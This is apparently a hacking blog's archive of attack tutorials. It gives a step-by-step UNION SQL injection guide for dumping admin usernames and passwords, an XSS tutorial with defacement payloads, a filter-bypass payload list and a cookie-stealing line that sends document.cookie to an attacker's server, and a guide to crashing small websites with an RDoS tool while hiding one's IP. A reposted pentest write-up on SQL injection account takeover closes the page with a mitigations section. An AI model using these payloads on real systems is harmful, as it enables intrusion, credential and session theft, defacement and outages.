Showing posts with label Attack. Show all posts
Showing posts with label Attack. Show all posts

Mar 21, 2013

SQL injection



SQL injection 
It's one of the most common vulnerability in web applications today.
It allows attacker to execute database query in url and gain access
to some confidential information etc...(in shortly).


1.SQL Injection (classic or error based or whatever you call it) :D 

2.Blind SQL Injection (the harder part) 


So let's start with some action :D 


1). Check for vulnerability 

Let's say that we have some site like this 

http://www.site.com/news.php?id=5 

Now to test if is vulrnable we add to the end of url ' (quote), 

and that would be http://www.site.com/news.php?id=5' 

so if we get some error like 
"You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right etc..."
or something similar

that means is vulrnable to sql injection :) 

2). Find the number of columns 

To find number of columns we use statement ORDER BY (tells database how to order the result) 

so how to use it? Well just incrementing the number until we get an error. 

http://www.site.com/news.php?id=5 order by 1/* <-- no error 

http://www.site.com/news.php?id=5 order by 2/* <-- no error 

http://www.site.com/news.php?id=5 order by 3/* <-- no error 

http://www.site.com/news.php?id=5 order by 4/* <-- error (we get message like this Unknown column '4' in 'order clause' or something like that) 

that means that the it has 3 columns, cause we got an error on 4. 

3). Check for UNION function 

With union we can select more data in one sql statement. 

so we have 

http://www.site.com/news.php?id=5 union all select 1,2,3/* (we already found that number of columns are 3 in section 2). ) 

if we see some numbers on screen, i.e 1 or 2 or 3 then the UNION works :) 

4). Check for MySQL version 

http://www.site.com/news.php?id=5 union all select 1,2,3/* NOTE: if /* not working or you get some error, then try -- 
it's a comment and it's important for our query to work properly.

let say that we have number 2 on the screen, now to check for version 
we replace the number 2 with @@version or version() and get someting like 4.1.33-log or 5.0.45 or similar.

it should look like this http://www.site.com/news.php?id=5 union all select 1,@@version,3/* 

if you get an error "union + illegal mix of collations (IMPLICIT + COERCIBLE) ..." 

i didn't see any paper covering this problem, so i must write it :) 

what we need is convert() function 

i.e. 

http://www.site.com/news.php?id=5 union all select 1,convert(@@version using latin1),3/* 

or with hex() and unhex() 

i.e. 

http://www.site.com/news.php?id=5 union all select 1,unhex(hex(@@version)),3/* 

and you will get MySQL version :D 

5). Getting table and column name 

well if the MySQL version is < 5 (i.e 4.1.33, 4.1.12...) <--- later i will describe for MySQL > 5 version. 
we must guess table and column name in most cases.

common table names are: user/s, admin/s, member/s ... 

common column names are: username, user, usr, user_name, password, pass, passwd, pwd etc... 

i.e would be 

http://www.site.com/news.php?id=5 union all select 1,2,3 from admin/* (we see number 2 on the screen like before, and that's good :D) 

we know that table admin exists... 

now to check column names. 


http://www.site.com/news.php?id=5 union all select 1,username,3 from admin/* (if you get an error, then try the other column name) 

we get username displayed on screen, example would be admin, or superadmin etc... 

now to check if column password exists 

http://www.site.com/news.php?id=5 union all select 1,password,3 from admin/* (if you get an error, then try the other column name) 

we seen password on the screen in hash or plain-text, it depends of how the database is set up :) 

i.e md5 hash, mysql hash, sha1... 

now we must complete query to look nice :) 

for that we can use concat() function (it joins strings) 

i.e 

http://www.site.com/news.php?id=5 union all select 1,concat(username,0x3a,password),3 from admin/* 

Note that i put 0x3a, its hex value for : (so 0x3a is hex value for colon) 

(there is another way for that, char(58), ascii value for : ) 


http://www.site.com/news.php?id=5 union all select 1,concat(username,char(58),password),3 from admin/* 

now we get dislayed username:password on screen, i.e admin:admin or admin:somehash 

when you have this, you can login like admin or some superuser :D 

if can't guess the right table name, you can always try mysql.user (default) 

it has user i password columns, so example would be 

http://www.site.com/news.php?id=5 union all select 1,concat(user,0x3a,password),3 from mysql.user/* 

6). MySQL 5 

Like i said before i'm gonna explain how to get table and column names 
in MySQL > 5.

For this we need information_schema. It holds all tables and columns in database. 

to get tables we use table_name and information_schema.tables. 

i.e 

http://www.site.com/news.php?id=5 union all select 1,table_name,3 from information_schema.tables/* 

here we replace the our number 2 with table_name to get the first table from information_schema.tables 

displayed on the screen. Now we must add LIMIT to the end of query to list out all tables. 

i.e 

http://www.site.com/news.php?id=5 union all select 1,table_name,3 from information_schema.tables limit 0,1/* 

note that i put 0,1 (get 1 result starting from the 0th) 

now to view the second table, we change limit 0,1 to limit 1,1 

i.e 

http://www.site.com/news.php?id=5 union all select 1,table_name,3 from information_schema.tables limit 1,1/* 

the second table is displayed. 

for third table we put limit 2,1 

i.e 

http://www.site.com/news.php?id=5 union all select 1,table_name,3 from information_schema.tables limit 2,1/* 

keep incrementing until you get some useful like db_admin, poll_user, auth, auth_user etc... :D 

To get the column names the method is the same. 

here we use column_name and information_schema.columns 

the method is same as above so example would be 


http://www.site.com/news.php?id=5 union all select 1,column_name,3 from information_schema.columns limit 0,1/* 

the first column is diplayed. 

the second one (we change limit 0,1 to limit 1,1) 

ie. 


http://www.site.com/news.php?id=5 union all select 1,column_name,3 from information_schema.columns limit 1,1/* 

the second column is displayed, so keep incrementing until you get something like 

username,user,login, password, pass, passwd etc... :D 

if you wanna display column names for specific table use this query. (where clause) 

let's say that we found table users. 

i.e 

http://www.site.com/news.php?id=5 union all select 1,column_name,3 from information_schema.columns where table_name='users'/* 

now we get displayed column name in table users. Just using LIMIT we can list all columns in table users. 

Note that this won't work if the magic quotes is ON. 

let's say that we found colums user, pass and email. 

now to complete query to put them all together :D 

for that we use concat() , i decribe it earlier. 

i.e 


http://www.site.com/news.php?id=5 union all select 1,concat(user,0x3a,pass,0x3a,email) from users/* 

easily get password....enjoy ../*

Jun 14, 2011

XSS Tutorial


'XSS' also known as 'CSS' - Cross Site Scripting. It is a very common vulnerability found in Web Applications, 'XSS' allows the attacker to INSERT malicous code, There are many types of XSS attacks, I will mention 3 of the most used. This kind of vulnerability allows an "attacker" to inject some code into the applications affected in order to bypass access to the website or to apply  "phishing" on falls users.
This technique is also used for website Hacking.






Types of XSS 
There are actually three types of Cross-Site Scripting, commonly named as:
- DOM-Based XSS
- Non-persistent XSS
- Persistent XSS


DOM-Based : The DOM-Based Cross-Site Scripting allow to an attacker to work not on a victim website but on a victim local machine: the various operative system usually includes "since born" some HTML pages created for differents aims, but as long as the humans do mistakes this HTML pages often can be exploited due to code vulnerabilities.

The DOM-Based XSS exploits these problems on users local machines in this way:
 - The attacker creates a well builded malicious website
 - The ingenuous user opens that site
 - The user has a vulnerable page on his machine
 - The attacker's website sends commands to the vulnerable HTML page
 - The vulnerable local page execute that commands with the user's privileges
  on that machine.
 - The attacker easily gain control on the victim computer.

Non-Persistent : The non-persistent XSS are actually the most commons vulnerabilities that can be found on the Net. It's commonly named as "non-persistent" because it works on an immediate HTTP response from the victim website: it show up when the webpage get the data provided by the attacker's client to automatically generate a result page for the attackers himself. Standing on this the attacker could provide some malicious code and try to make the server execute it in order to obtain some result.

The most common applying of this kind of vulnerability is in Search engines in website: the attacker writes some arbitrary HTML code in the search textbox and, if the website is vulnerable, the result page will return the result of these HTML entities.

Persistent : The persistent XSS vulnerabilities are similar to the second type (Non-persistent XSS), because both works on a victim site and tries to hack users informations and the difference is that in websites vulnerables to Persistent XSS the attacker doesn't need to provide the crafted url to the users, because the website itself permits to users to insert fixed data into the system: this is the case for example of "guestbooks". Usually the users uses that kind of tool to leave messages to the owned of the website and at a first look it doesn't seems something dangerous, but if an attacker discover that the system is vulnerable can insert some malicious code in his message and let ALL visitors to be victim of that.

This works when the tool provided (the guestbook in the example) doesn't do any check on the content of the inserted message: it just inserts the data provided from the user into the result page.


How to Find XSS Vulnerabilities:-

To start finding these Vulnerabilities you can start checking out Blogs, Forums, Shoutboxes, Comment Boxes, Search Box's, there are too many to mention.

Using 'Google Dorks' to make the finding easyier, Ok if you wanna get cracking, goto google.com and type inurl:"search.php?q=" now that is a common page and has alot of results. Also note that most sites have XSS Vulnerabilities, its just having a good eye, and some good knowledge on how to bypass there filteration.

Basics of XSS
Well now lets start learning some Actual Methods, the most common used XSS injection is :

<script>alert("Hacking")</script>

now this will alert a popup message, saying "Priyanshu" without quotes.

So,use "search.php?q=" and you can simple try the following on a website with the same thing,

http://website.com/search.php?q=<script>alert("
"Hacking")</script>

There are good chances of it working, but dont be worried if it dont, just try diffrent sites. You can insert HTML not just javascript :

http://website.com/search.php?q=<br><br><b><u>
"Hacking</u></b>

if you see the bold text on the page and newlines then you knows its vulnerable.





How to Deface a Website using XSS ?
Well now you understand how XSS works, we can explain some simple XSS deface methods, there are many ways for defacing i will mention some of the best and most used, the first one being IMG SCR, now for those of you who dont know html, IMG SCR is a tag, that displays the IMAGE linked to it on the webpage.

<html><body><IMG SRC="http://website.com/yourDefaceIMAGE.png"></body></html>

ok now if you change the link to a valid picture link, and save it and run it you will see what i mean. Right now say you have found a Shoutbox, Comment box, or anything that shows your data after you submitted it you could insert the following to make the picture display on the page.

<IMG SRC="http://site.com/yourDefaceIMAGE.png">

The other tags are not needed has the page will already have them. Ok it helps to make your picture big so it stands out and its clear the site got hacked. Another method is using FLASH videos, its the same has the method below but a more stylish deface.

<EMBED SRC="http://site.com/xss.swf"

That will execute the flash video linked to it. Or maybe using a pop or redirection as :
<script>window.open( "http://www.hackersonlineclub.tk/" )</script>

There are many others ways that you can found using Google or other website. Mine purpose is to make you understand the concept :)

How to Cookie Stealing using XSS ?
I decided to add this has its the most usefull method of XSS. First learn how to make cookie logger from here: How To Make A Cookie Stealer Php script ?

ok now you have it save it has a .php file and upload to your server, remember to create the file 'log.txt' too
and chmod it to 777, ok now find a XSS vulnerable website, any attack type will do. ok now your gonna want to insert this code.

window.location = "http://yourServer.com/cookielogger.php?c="+document.cookie


or


document.location = "http://yourServer.com/cookielogger.php?c="+document.cookie

now when user visits the page that got injected too, they will be sent to the site, and cookie will be stolen
the second one is more stealth. Watch your file now for cookies, then you can hijack there session :D

but now you ask what if my site has not got, this kind of attack, it only shows data once and dont store it. Well lets say we had a page search.php?q= we can use the following code to make a maliouc url from it and maybe hex, base64 encode it so people cant see the code

http://site.com/search.php?q=document.location = "http://yourServer.com/cookielogger.php?c="+document.cookie



How to Bypass Filtration ?

Alot of sites may seem vulnerable but not executing the code, well to solve this read this. Some common methods to bypass filtration is

')alert('xss');


or


");alert('xss');

that will do the same thing has <script>alert("XSS")</script> on a vulnerable server. You can also try hexing or base64 encoding your data before you submit, Please note its bad practice to use alert("XSS") to test for XSS, because some sites block the keyword "XSS" before so we using "Priyanshu".

Some other ways to bypass filtration
website.com/search.php?q="><script>alert('Hacking')</script>
website.com/search.php?q="><script>alert("Hacking")</script>
website.com/search.php?q="><script>alert("Hacking");</script>
website.com/search.php?q="><script>alert(/Hacking");</script>
website.com/search.php?q=//"><script>alert(/Hacking/);</script>
website.com/search.php?q=abc<script>alert(/Hacking/);</script>
website.com/search.php?q=abc"><script>alert(/Hacking/);</script>
website.com/search.php?q=abc"></script><script>alert(/Hacking/);</script>
website.com/search.php?q=abc//abc"></script>alert(/Hacking/);</script>
website.com/search.php?q=000"><script></script><script>alert(Hacking);</script>
website.com/search.php?q=000abc</script><script>alert(/Hacking/);</script>
website.com/search.php?q=--<script>"></script>alert(/Hacking/);</script>
website.com/search.php?q=pwned<script>document.write('Hacking');</script>
website.com/search.php?q=pwned</script><script>document.write(Hacking);</script>
website.com/search.php?q=pwned')alert(Hacking);//
website.com/search.php?q=pwned";)alert(Hacking);//
website.com/search.php?q=pwned");alert(/Hacking/);//
website.com/search.php?q=pwned//"></script><script>location.href='javascript:alert(/Hacking/);</script>
website.com/search.php?q="><img src='javascript:alert(Hacking');'>
website.com/search.php?q="><script src='http://malicous js'</script>

Advanced XSS - way to bypass magic quotes filtration:
Ok now we are going to learn about some good techniqes. I have came across many sites where 'Magic Quotes' is on and therfore rendering some commands useless. Fear not, i have come up with a way using char codes (Decimals), to convert char code to Ascii. The functions to turn CharCodes (Decimals) into ASCII, you can find a complete table here

http://www.asciitable.com/
http://easycalculation.com/

This will help you write what you want, In my examples ill be writing "HOC" this is the following code

72 79 67

Ok now we got the Decimal value of our string, we need to know what function in javascript converts this.

String.fromCharCode()

is suitable for this kinda things, its easy to setup, im gona give it my args below.

String.fromCharCode(72, 79, 67)

Ok now "String.fromCharCode(72, 79, 67)" Is a JAVA (ASCII) way of saying "HOC". And to use this with alerts etc, you dont need to use quotes, as it acts as a variable.

<script>alert(String.fromCharCode(72, 79, 67))</script>

For More Script Coding Of XSS Visit
http://ha.ckers.org/xss.html

How to crash small websites using RDOS


DOS TUTORIAL 
How to crash small websites using RDOS


Have you ever wanted to DOS attack on a website. Here I am going to write about a tool which is really helpful but it wouldn't be effective on big servers. 


NOTE: Please do not try to this tutorial to harm any other's website. I will not be responsible in any case. If you are not agree, please leave this website without reading further tutorial




You need:

  1. Port Scanner Download Here
  2. rDOS Download Here
  3. Ip Hiding tool Download for hiding your identity


Follow these steps:

1: First of all you need to know the IP address of the website you want to crash.
Use ping command in windows to get the ip address of the website.
open CMD and enter ping www.website.com
see the snap
Now you have the IP address of the website.

2: Now use Port scanner to check whether PORT 80 is open or not. If PORT 80 is not open choose another website to hack :P
otherwise you can crash this website.

3: Now open your  rDos. Enter your victims ip that you got from step 1.
It will ask you for the port to attack use port 80 that’s why we scanned to make sure that 80 was open! If it is closed it will not work.

comment if you have any problem

Dec 10, 2010

SQL Injection Attack


A customer asked that we check out his intranet site, which was used by the company's employees and customers. This was part of a larger security review, and though we'd not actually used SQL injection to penetrate a network before, we were pretty familiar with the general concepts. We were completely successful in this engagement, and wanted to recount the steps taken as an illustration.

[SQL Injection logo]
"SQL Injection" is subset of the an unverified/unsanitized user input vulnerability ("buffer overflows" are a different subset), and the idea is to convince the application to run SQL code that was not intended. If the application is creating SQL strings naively on the fly and then running them, it's straightforward to create some real surprises.
We'll note that this was a somewhat winding road with more than one wrong turn, and others with more experience will certainly have different -- and better -- approaches. But the fact that we were successful does suggest that we were not entirely misguided.
There have been other papers on SQL injection, including some that are much more detailed, but this one shows the rationale of discovery as much as the process of exploitation.

The Target Intranet

This appeared to be an entirely custom application, and we had no prior knowledge of the application nor access to the source code: this was a "blind" attack. A bit of poking showed that this server ran Microsoft's IIS 6 along with ASP.NET, and this suggested that the database was Microsoft's SQL server: we believe that these techniques can apply to nearly any web application backed by any SQL server.
The login page had a traditional username-and-password form, but also an email-me-my-password link; the latter proved to be the downfall of the whole system.
When entering an email address, the system presumably looked in the user database for that email address, and mailed something to that address. Since my email address is not found, it wasn't going to send me anything.
So the first test in any SQL-ish form is to enter a single quote as part of the data: the intention is to see if they construct an SQL string literally without sanitizing. When submitting the form with a quote in the email address, we get a 500 error (server failure), and this suggests that the "broken" input is actually being parsed literally. Bingo.
We speculate that the underlying SQL code looks something like this:
SELECT fieldlist
  FROM table
 WHERE field = '$EMAIL';
Here, $EMAIL is the address submitted on the form by the user, and the larger query provides the quotation marks that set it off as a literal string. We don't know the specific names of the fields or table involved, but we do know their nature, and we'll make some good guesses later.
When we enter steve@unixwiz.net' - note the closing quote mark - this yields constructed SQL:
SELECT fieldlist
  FROM table
 WHERE field = 'steve@unixwiz.net'';
when this is executed, the SQL parser find the extra quote mark and aborts with a syntax error. How this manifests itself to the user depends on the application's internal error-recovery procedures, but it's usually different from "email address is unknown". This error response is a dead giveaway that user input is not being sanitized properly and that the application is ripe for exploitation.
Since the data we're filling in appears to be in the WHERE clause, let's change the nature of that clause in an SQL legal way and see what happens. By entering anything' OR 'x'='x, the resulting SQL is:
SELECT fieldlist
  FROM table
 WHERE field = 'anything' OR 'x'='x';
Because the application is not really thinking about the query - merely constructing a string - our use of quotes has turned a single-component WHERE clause into a two-component one, and the 'x'='x' clause is guaranteed to be true no matter what the first clause is (there is a better approach for this "always true" part that we'll touch on later).
But unlike the "real" query, which should return only a single item each time, this version will essentially return every item in the members database. The only way to find out what the application will do in this circumstance is to try it. Doing so, we were greeted with:

Your login information has been mailed to random.person@example.com.

Our best guess is that it's the first record returned by the query, effectively an entry taken at random. This person really did get this forgotten-password link via email, which will probably come as surprise to him and may raise warning flags somewhere.
We now know that we're able to manipulate the query to our own ends, though we still don't know much about the parts of it we cannot see. But we have observed three different responses to our various inputs:
  • "Your login information has been mailed to email"
  • "We don't recognize your email address"
  • Server error
The first two are responses to well-formed SQL, while the latter is for bad SQL: this distinction will be very useful when trying to guess the structure of the query.

Schema field mapping

The first steps are to guess some field names: we're reasonably sure that the query includes "email address" and "password", and there may be things like "US Mail address" or "userid" or "phone number". We'd dearly love to perform a SHOW TABLE, but in addition to not knowing the name of the table, there is no obvious vehicle to get the output of this command routed to us.
So we'll do it in steps. In each case, we'll show the whole query as we know it, with our own snippets shown specially. We know that the tail end of the query is a comparison with the email address, so let's guess email as the name of the field:
SELECT fieldlist
  FROM table
 WHERE field = 'x' AND email IS NULL; --';
The intent is to use a proposed field name (email) in the constructed query and find out if the SQL is valid or not. We don't care about matching the email address (which is why we use a dummy 'x'), and the -- marks the start of an SQL comment. This is an effective way to "consume" the final quote provided by application and not worry about matching them.
If we get a server error, it means our SQL is malformed and a syntax error was thrown: it's most likely due to a bad field name. If we get any kind of valid response, we guessed the name correctly. This is the case whether we get the "email unknown" or "password was sent" response.
Note, however, that we use the AND conjunction instead of OR: this is intentional. In the SQL schema mapping phase, we're not really concerned with guessing any particular email addresses, and we do not want random users inundated with "here is your password" emails from the application - this will surely raise suspicions to no good purpose. By using the AND conjunction with an email address that couldn't ever be valid, we're sure that the query will always return zero rows and never generate a password-reminder email.
Submitting the above snippet indeed gave us the "email address unknown" response, so now we know that the email address is stored in a field email. If this hadn't worked, we'd have tried email_address or mail or the like. This process will involve quite a lot of guessing.
Next we'll guess some other obvious names: password, user ID, name, and the like. These are all done one at a time, and anything other than "server failure" means we guessed the name correctly.
SELECT fieldlist
  FROM table
 WHERE email = 'x' AND userid IS NULL; --';
As a result of this process, we found several valid field names:
  • email
  • passwd
  • login_id
  • full_name
There are certainly more (and a good source of clues is the names of the fields on forms), but a bit of digging did not discover any. But we still don't know the name of the table that these fields are found in - how to find out?

Finding the table name

The application's built-in query already has the table name built into it, but we don't know what that name is: there are several approaches for finding that (and other) table names. The one we took was to rely on a subselect.
A standalone query of
SELECT COUNT(*) FROM tabname
Returns the number of records in that table, and of course fails if the table name is unknown. We can build this into our string to probe for the table name:
SELECT email, passwd, login_id, full_name
  FROM table
 WHERE email = 'x' AND 1=(SELECT COUNT(*) FROM tabname); --';
We don't care how many records are there, of course, only whether the table name is valid or not. By iterating over several guesses, we eventually determined that members was a valid table in the database. But is it the table used in this query? For that we need yet another test using table.field notation: it only works for tables that are actually part of this query, not merely that the table exists.
SELECT email, passwd, login_id, full_name
  FROM members
 WHERE email = 'x' AND members.email IS NULL; --';
When this returned "Email unknown", it confirmed that our SQL was well formed and that we had properly guessed the table name. This will be important later, but we instead took a different approach in the interim.

Finding some users

At this point we have a partial idea of the structure of the members table, but we only know of one username: the random member who got our initial "Here is your password" email. Recall that we never received the message itself, only the address it was sent to. We'd like to get some more names to work with, preferably those likely to have access to more data.
The first place to start, of course, is the company's website to find who is who: the "About us" or "Contact" pages often list who's running the place. Many of these contain email addresses, but even those that don't list them can give us some clues which allow us to find them with our tool.
The idea is to submit a query that uses the LIKE clause, allowing us to do partial matches of names or email addresses in the database, each time triggering the "We sent your password" message and email. Warning: though this reveals an email address each time we run it, it also actually sends that email, which may raise suspicions. This suggests that we take it easy.
We can do the query on email name or full name (or presumably other information), each time putting in the % wildcards that LIKE supports:
SELECT email, passwd, login_id, full_name
  FROM members
 WHERE email = 'x' OR full_name LIKE '%Bob%';
Keep in mind that even though there may be more than one "Bob", we only get to see one of them: this suggests refining our LIKE clause narrowly.
Ultimately, we may only need one valid email address to leverage our way in.

Brute-force password guessing

One can certainly attempt brute-force guessing of passwords at the main login page, but many systems make an effort to detect or even prevent this. There could be logfiles, account lockouts, or other devices that would substantially impede our efforts, but because of the non-sanitized inputs, we have another avenue that is much less likely to be so protected.
We'll instead do actual password testing in our snippet by including the email name and password directly. In our example, we'll use our victim, bob@example.com and try multiple passwords.
SELECT email, passwd, login_id, full_name
  FROM members
 WHERE email = 'bob@example.com' AND passwd = 'hello123';
This is clearly well-formed SQL, so we don't expect to see any server errors, and we'll know we found the password when we receive the "your password has been mailed to you" message. Our mark has now been tipped off, but we do have his password.
This procedure can be automated with scripting in perl, and though we were in the process of creating this script, we ended up going down another road before actually trying it.

The database isn't readonly

So far, we have done nothing but query the database, and even though a SELECT is readonly, that doesn't mean that SQL is. SQL uses the semicolon for statement termination, and if the input is not sanitized properly, there may be nothing that prevents us from stringing our own unrelated command at the end of the query.
The most drastic example is:
SELECT email, passwd, login_id, full_name
  FROM members
 WHERE email = 'x'; DROP TABLE members; --';  -- Boom!
The first part provides a dummy email address -- 'x' -- and we don't care what this query returns: we're just getting it out of the way so we can introduce an unrelated SQL command. This one attempts to drop (delete) the entire members table, which really doesn't seem too sporting.
This shows that not only can we run separate SQL commands, but we can also modify the database. This is promising.

Adding a new member

Given that we know the partial structure of the members table, it seems like a plausible approach to attempt adding a new record to that table: if this works, we'll simply be able to login directly with our newly-inserted credentials.
This, not surprisingly, takes a bit more SQL, and we've wrapped it over several lines for ease of presentation, but our part is still one contiguous string:
SELECT email, passwd, login_id, full_name
  FROM members
 WHERE email = 'x';
        INSERT INTO members ('email','passwd','login_id','full_name') 
        VALUES ('steve@unixwiz.net','hello','steve','Steve Friedl');--';
Even if we have actually gotten our field and table names right, several things could get in our way of a successful attack:
  1. We might not have enough room in the web form to enter this much text directly (though this can be worked around via scripting, it's much less convenient).
  2. The web application user might not have INSERT permission on the members table.
  3. There are undoubtedly other fields in the members table, and some may require initial values, causing the INSERT to fail.
  4. Even if we manage to insert a new record, the application itself might not behave well due to the auto-inserted NULL fields that we didn't provide values for.
  5. A valid "member" might require not only a record in the members table, but associated information in other tables (say, "accessrights"), so adding to one table alone might not be sufficient.
In the case at hand, we hit a roadblock on either #4 or #5 - we can't really be sure -- because when going to the main login page and entering in the above username + password, a server error was returned. This suggests that fields we did not populate were vital, but nevertheless not handled properly.
A possible approach here is attempting to guess the other fields, but this promises to be a long and laborious process: though we may be able to guess other "obvious" fields, it's very hard to imagine the bigger-picture organization of this application.
We ended up going down a different road.

Mail me a password

We then realized that though we are not able to add a new record to the members database, we can modify an existing one, and this proved to be the approach that gained us entry.
From a previous step, we knew that bob@example.com had an account on the system, and we used our SQL injection to update his database record with our email address:
SELECT email, passwd, login_id, full_name
  FROM members
 WHERE email = 'x';
      UPDATE members
      SET email = 'steve@unixwiz.net'
      WHERE email = 'bob@example.com';
After running this, we of course received the "we didn't know your email address", but this was expected due to the dummy email address provided. The UPDATE wouldn't have registered with the application, so it executed quietly.
We then used the regular "I lost my password" link - with the updated email address - and a minute later received this email:
Now it was now just a matter of following the standard login process to access the system as a high-ranked MIS staffer, and this was far superior to a perhaps-limited user that we might have created with our INSERT approach.
We found the intranet site to be quite comprehensive, and it included - among other things - a list of all the users. It's a fair bet that many Intranet sites also have accounts on the corporate Windows network, and perhaps some of them have used the same password in both places. Since it's clear that we have an easy way to retrieve any Intranet password, and since we had located an open PPTP VPN port on the corporate firewall, it should be straightforward to attempt this kind of access.
We had done a spot check on a few accounts without success, and we can't really know whether it's "bad password" or "the Intranet account name differs from the Windows account name". But we think that automated tools could make some of this easier.

Other Approaches

In this particular engagement, we obtained enough access that we did not feel the need to do much more, but other steps could have been taken. We'll touch on the ones that we can think of now, though we are quite certain that this is not comprehensive.
We are also aware that not all approaches work with all databases, and we can touch on some of them here.
Use xp_cmdshell
Microsoft's SQL Server supports a stored procedure xp_cmdshell that permits what amounts to arbitrary command execution, and if this is permitted to the web user, complete compromise of the webserver is inevitable.
What we had done so far was limited to the web application and the underlying database, but if we can run commands, the webserver itself cannot help but be compromised. Access to xp_cmdshell is usually limited to administrative accounts, but it's possible to grant it to lesser users.
Map out more database structure
Though this particular application provided such a rich post-login environment that it didn't really seem necessary to dig further, in other more limited environments this may not have been sufficient.
Being able to systematically map out the available schema, including tables and their field structure, can't help but provide more avenues for compromise of the application.
One could probably gather more hints about the structure from other aspects of the website (e.g., is there a "leave a comment" page? Are there "support forums"?). Clearly, this is highly dependent on the application and it relies very much on making good guesses.

Mitigations

We believe that web application developers often simply do not think about "surprise inputs", but security people do (including the bad guys), so there are three broad approaches that can be applied here.
Sanitize the input
It's absolutely vital to sanitize user inputs to insure that they do not contain dangerous codes, whether to the SQL server or to HTML itself. One's first idea is to strip out "bad stuff", such as quotes or semicolons or escapes, but this is a misguided attempt. Though it's easy to point out some dangerous characters, it's harder to point to all of them.
The language of the web is full of special characters and strange markup (including alternate ways of representing the same characters), and efforts to authoritatively identify all "bad stuff" are unlikely to be successful.
Instead, rather than "remove known bad data", it's better to "remove everything but known good data": this distinction is crucial. Since - in our example - an email address can contain only these characters:
abcdefghijklmnopqrstuvwxyz
ABCDEFGHIJKLMNOPQRSTUVWXYZ
0123456789
@.-_+
There is really no benefit in allowing characters that could not be valid, and rejecting them early - presumably with an error message - not only helps forestall SQL Injection, but also catches mere typos early rather than stores them into the database.
Sidebar on email addresses
It's important to note here that email addresses in particular are troublesome to validate programmatically, because everybody seems to have his own idea about what makes one "valid", and it's a shame to exclude a good email address because it contains a character you didn't think about. The only real authority is RFC 2822 (which encompasses the more familiar RFC822), and it includes a fairly expansive definition of what's allowed. The truly pedantic may well wish to accept email addresses with ampersands and asterisks (among other things) as valid, but others - including this author - are satisfied with a reasonable subset that includes "most" email addresses. Those taking a more restrictive approach ought to be fully aware of the consequences of excluding these addresses, especially considering that better techniques (prepare/execute, stored procedures) obviate the security concerns which those "odd" characters present.
Be aware that "sanitizing the input" doesn't mean merely "remove the quotes", because even "regular" characters can be troublesome. In an example where an integer ID value is being compared against the user input (say, a numeric PIN):
SELECT fieldlist
  FROM table
 WHERE id = 23 OR 1=1;  -- Boom! Always matches!
In practice, however, this approach is highly limited because there are so few fields for which it's possible to outright exclude many of the dangerous characters. For "dates" or "email addresses" or "integers" it may have merit, but for any kind of real application, one simply cannot avoid the other mitigations.
Escape/Quotesafe the input
Even if one might be able to sanitize a phone number or email address, one cannot take this approach with a "name" field lest one wishes to exclude the likes of Bill O'Reilly from one's application: a quote is simply a valid character for this field.
One includes an actual single quote in an SQL string by putting two of them together, so this suggests the obvious - but wrong! - technique of preprocessing every string to replicate the single quotes:
SELECT fieldlist
  FROM customers
 WHERE name = 'Bill O''Reilly';  -- works OK
However, this naïve approach can be beaten because most databases support other string escape mechanisms. MySQL, for instance, also permits \' to escape a quote, so after input of \'; DROP TABLE users; -- is "protected" by doubling the quotes, we get:
SELECT fieldlist
  FROM customers
 WHERE name = '\''; DROP TABLE users; --';  -- Boom!
The expression '\'' is a complete string (containing just one single quote), and the usual SQL shenanigans follow. It doesn't stop with backslashes either: there is Unicode, other encodings, and parsing oddities all hiding in the weeds to trip up the application designer.
Getting quotes right is notoriously difficult, which is why many database interface languages provide a function that does it for you. When the same internal code is used for "string quoting" and "string parsing", it's much more likely that the process will be done properly and safely.
Some examples are the MySQL function mysql_real_escape_string() and perl DBD method $dbh->quote($value).
These methods must be used.
Use bound parameters (the PREPARE statement)
Though quotesafing is a good mechanism, we're still in the area of "considering user input as SQL", and a much better approach exists: bound parameters, which are supported by essentially all database programming interfaces. In this technique, an SQL statement string is created with placeholders - a question mark for each parameter - and it's compiled ("prepared", in SQL parlance) into an internal form.
Later, this prepared query is "executed" with a list of parameters:
Example in perl
$sth = $dbh->prepare("SELECT email, userid FROM members WHERE email = ?;");

$sth->execute($email);
Thanks to Stefan Wagner, this demonstrates bound parameters in Java:
Insecure version
Statement s = connection.createStatement();
ResultSet rs = s.executeQuery("SELECT email FROM member WHERE name = "
                             + formField); // *boom*
Secure version
PreparedStatement ps = connection.prepareStatement(
    "SELECT email FROM member WHERE name = ?");
ps.setString(1, formField);
ResultSet rs = ps.executeQuery();
Here, $email is the data obtained from the user's form, and it is passed as positional parameter #1 (the first question mark), and at no point do the contents of this variable have anything to do with SQL statement parsing. Quotes, semicolons, backslashes, SQL comment notation - none of this has any impact, because it's "just data". There simply is nothing to subvert, so the application is be largely immune to SQL injection attacks.
There also may be some performance benefits if this prepared query is reused multiple times (it only has to be parsed once), but this is minor compared to the enormous security benefits. This is probably the single most important step one can take to secure a web application.
Limit database permissions and segregate users
In the case at hand, we observed just two interactions that are made not in the context of a logged-in user: "log in" and "send me password". The web application ought to use a database connection with the most limited rights possible: query-only access to the members table, and no access to any other table.
The effect here is that even a "successful" SQL injection attack is going to have much more limited success. Here, we'd not have been able to do the UPDATE request that ultimately granted us access, so we'd have had to resort to other avenues.
Once the web application determined that a set of valid credentials had been passed via the login form, it would then switch that session to a database connection with more rights.
It should go almost without saying that sa rights should never be used for any web-based application.
Use stored procedures for database access
When the database server supports them, use stored procedures for performing access on the application's behalf, which can eliminate SQL entirely (assuming the stored procedures themselves are written properly).
By encapsulating the rules for a certain action - query, update, delete, etc. - into a single procedure, it can be tested and documented on a standalone basis and business rules enforced (for instance, the "add new order" procedure might reject that order if the customer were over his credit limit).
For simple queries this might be only a minor benefit, but as the operations become more complicated (or are used in more than one place), having a single definition for the operation means it's going to be more robust and easier to maintain.
Note: it's always possible to write a stored procedure that itself constructs a query dynamically: this provides no protection against SQL Injection - it's only proper binding with prepare/execute or direct SQL statements with bound variables that provide this protection.
Isolate the webserver
Even having taken all these mitigation steps, it's nevertheless still possible to miss something and leave the server open to compromise. One ought to design the network infrastructure to assume that the bad guy will have full administrator access to the machine, and then attempt to limit how that can be leveraged to compromise other things.
For instance, putting the machine in a DMZ with extremely limited pinholes "inside" the network means that even getting complete control of the webserver doesn't automatically grant full access to everything else. This won't stop everything, of course, but it makes it a lot harder.
Configure error reporting
The default error reporting for some frameworks includes developer debugging information, and this cannot be shown to outside users. Imagine how much easier a time it makes for an attacker if the full query is shown, pointing to the syntax error involved.
This information is useful to developers, but it should be restricted - if possible - to just internal users.
